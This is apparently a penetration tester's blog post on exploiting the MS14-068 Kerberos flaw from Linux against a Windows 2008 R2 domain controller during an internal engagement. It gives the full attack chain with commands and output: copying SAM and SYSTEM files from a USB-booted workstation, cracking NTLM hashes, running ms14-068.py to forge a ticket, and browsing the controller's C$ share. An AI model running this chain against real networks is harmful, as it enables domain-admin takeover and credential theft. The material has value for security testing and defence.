MS14-068

This is a short post on how to exploit MS14-068 on Linux. This came up on my recent internal infrastructure engagement. The primary DC was a vulnerable Windows 2008 R2 SP1 server.

I had physical access to one of the workstations without any credentials (local or domain). So I’ve booted the workstation into Linux from a USB drive and copied SAM and SYSTEM files to my machine. It was a fresh SOE installation without any domain credentials being cached. The default Administrator account was disabled. However, another account “admin” was created and added to the Administrators group. So I did have NTLM hashes for this account and some other non-administrative account named “tuser”. The textbook approach is to pass the local admin hash to other workstations searching for domain admin accounts and try to impersonate them. However, starting from KB2871997, hashes for non-500 SIDs cannot be passed anymore.

I could recover the plaintext for the tuser account (not that I needed it) using the Crackq:

vnik@sfly$ for h in hash_for_admin hash_for_tuser; do ./crackq.py -t ntlm $h; done

So I decided to try both accounts to log into the DC hoping for password reuse. Passing the hash for the “admin” account didn’t work (also tried this hash for Administrator). However, I could login as “tuser”, which was a normal domain account:

vnik@sfly$ smbclient -W TESTDOMAIN -U tuser -L DC.TESTDOMAIN.INTERNAL
Enter tuser's password: 
Domain=[TESTDOMAIN] OS=[Windows Server 2008 R2 Enterprise 7601 Service Pack 1] Server=[Windows Server 2008 R2 Enterprise 6.1]

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 

First, let’s get the kerberos tools:

vnik@sfly$ apt-get install krb5-user krb5-config

Then I generated a new kerberos ticket for this “tuser” account:

vnik@sfly$ kinit tuser@TESTDOMAIN.INTERNAL
Password for tuser@TESTDOMAIN.INTERNAL: 

The ticket should now be saved in “/tmp/krb5cc_0”. We'll also need the SID value for “tuser”:

vnik@sfly$ rpcclient win2008r2dc.testdomain.internal -W TESTDOMAIN -U tuser
Enter tuser's password: 
rpcclient $> lookupnames tuser
tuser S-1-5-21-1104843036-2823267000-3481579848-1105 (User: 1)

Now let’s get the new ticket:

vnik@sfly$ ./ms14-068.py -u tuser@TESTDOMAIN.INTERNAL -s S-1-5-21-1104843036-2823267000-3481579848-1105 -d dc.testdomain.internal
Password: 
  [+] Building AS-REQ for testdomain... Done!
  [+] Sending AS-REQ to testdomain... Done!
  [+] Receiving AS-REP from testdomain... Done!
  [+] Parsing AS-REP from testdomain... Done!
  [+] Building TGS-REQ for testdomain... Done!
  [+] Sending TGS-REQ to testdomain... Done!
  [+] Receiving TGS-REP from testdomain... Done!
  [+] Parsing TGS-REP from testdomain... Done!
  [+] Creating ccache file 'TGT_tuser@TESTDOMAIN.INTERNAL.ccache'... Done!

and replace our previously generated ticket stored in /tmp/krb5cc_0:

vnik@sfly$ mv TGT_tuser@TESTDOMAIN.INTERNAL.ccache /tmp/krb5cc_0 
vnik@sfly$ klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: tuser@TESTDOMAIN.INTERNAL

Valid starting     Expires            Service principal
10/12/14 15:59:47  11/12/14 01:59:47  krbtgt/TESTDOMAIN.INTERNAL@TESTDOMAIN.INTERNAL
	renew until 17/12/14 15:59:47

And finally, login as admin:

vnik@sfly$ smbclient -W testdomain.internal -k //win2008r2dc.testdomain.internal/c$
OS=[Windows Server 2008 R2 Enterprise 7601 Service Pack 1] Server=[Windows Server 2008 R2 Enterprise 6.1]
smb: \> ls
  $Recycle.Bin                      DHS        0  Tue Jul 14 12:34:39 2009
  Documents and Settings            DHS        0  Tue Jul 14 15:06:44 2009
  pagefile.sys                      AHS 2147016704  Fri Dec 10 13:44:14 2014
  PerfLogs                            D        0  Tue Jul 14 13:20:08 2009
  Program Files                      DR        0  Fri Dec 10 12:41:30 2014
  Program Files (x86)                DR        0  Fri Dec 10 12:41:31 2014
  ProgramData                        DH        0  Fri Dec 10 12:51:07 2014
  Recovery                          DHS        0  Fri Dec 10 11:48:15 2014
  System Volume Information         DHS        0  Fri Dec 10 12:42:06 2014
  Users                              DR        0  Fri Dec 10 12:10:33 2014
  Windows                             D        0  Fri Dec 10 12:48:14 2014

		59897 blocks of size 1048576. 50193 blocks available
smb: \> 

I also had access to another domain with a vulnerable 2012 R2 primary DC. However, the forged TGT didn't work:

vnik@sfly$ smbclient -W TESTDOMAIN2.INTERNAL -k //dc2012r2.testdomain2.internal/C$
ads_krb5_mk_req: smb_krb5_get_credentials failed for cifs/testdomain2.internal@TESTDOMAIN2.INTERNAL (Server not found in Kerberos database)
cli_session_setup_kerberos: spnego_gen_krb5_negTokenInit failed: Server not found in Kerberos database
session setup failed: NT_STATUS_UNSUCCESSFUL